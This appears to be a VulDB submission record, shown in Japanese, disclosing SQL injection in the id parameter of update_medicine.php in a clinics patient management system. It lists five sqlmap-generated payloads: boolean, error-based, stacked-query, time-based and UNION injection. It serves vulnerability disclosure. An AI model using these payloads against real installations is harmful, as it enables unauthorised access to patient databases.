| タイトル | Sql injection exists in id parameter of clinics patient management system |
|---|
| 説明 | SQL injection vulnerability exists in id parameter of update_medicine.php file of clinics patient management system.Using sqlmap to inject it, you can get the result of SQL injection, which means that an ordinary user can obtain all the information in the database
Payload：id=1 AND 9242=(SELECT (CASE WHEN (9242=9242) THEN 9242 ELSE (SELECT 1439 UNION SELECT 2867) END))--
or id=1 AND GTID_SUBSET(CONCAT(0x71786a7671,(SELECT (ELT(6839=6839,1))),0x71786a6271),6839)
or id=1;SELECT SLEEP(5)#
or id=1 AND (SELECT 6627 FROM (SELECT(SLEEP(5)))GHYz)
or id=-8727 UNION ALL SELECT NULL,CONCAT(0x71786a7671,0x694e48677273484162526b636c45677046596e6465636f73694375476565714b6c48634a696d4853,0x71786a6271)-- - |
|---|
| ソース | ⚠️ https://github.com/E1CHO/cve_hub/blob/main/clinics%20patient%20management%20system/clinics-patient-management-system%20vlun3.pdf |
|---|
| ユーザー | SSL_Seven_Security Lab_WangZhiQiang_XiaoZiLong (UID 38936) |
|---|
| 送信 | 2023年02月25日 04:43 (4 年 ago) |
|---|
| モデレーション | 2023年02月26日 13:13 (1 day later) |
|---|
| ステータス | 重複 |
|---|
| VulDBエントリ | 206507 [Clinics Patient Management System 1.0 /pms/update_medicine.php id SQLインジェクション] |
|---|
| ポイント | 0 |
|---|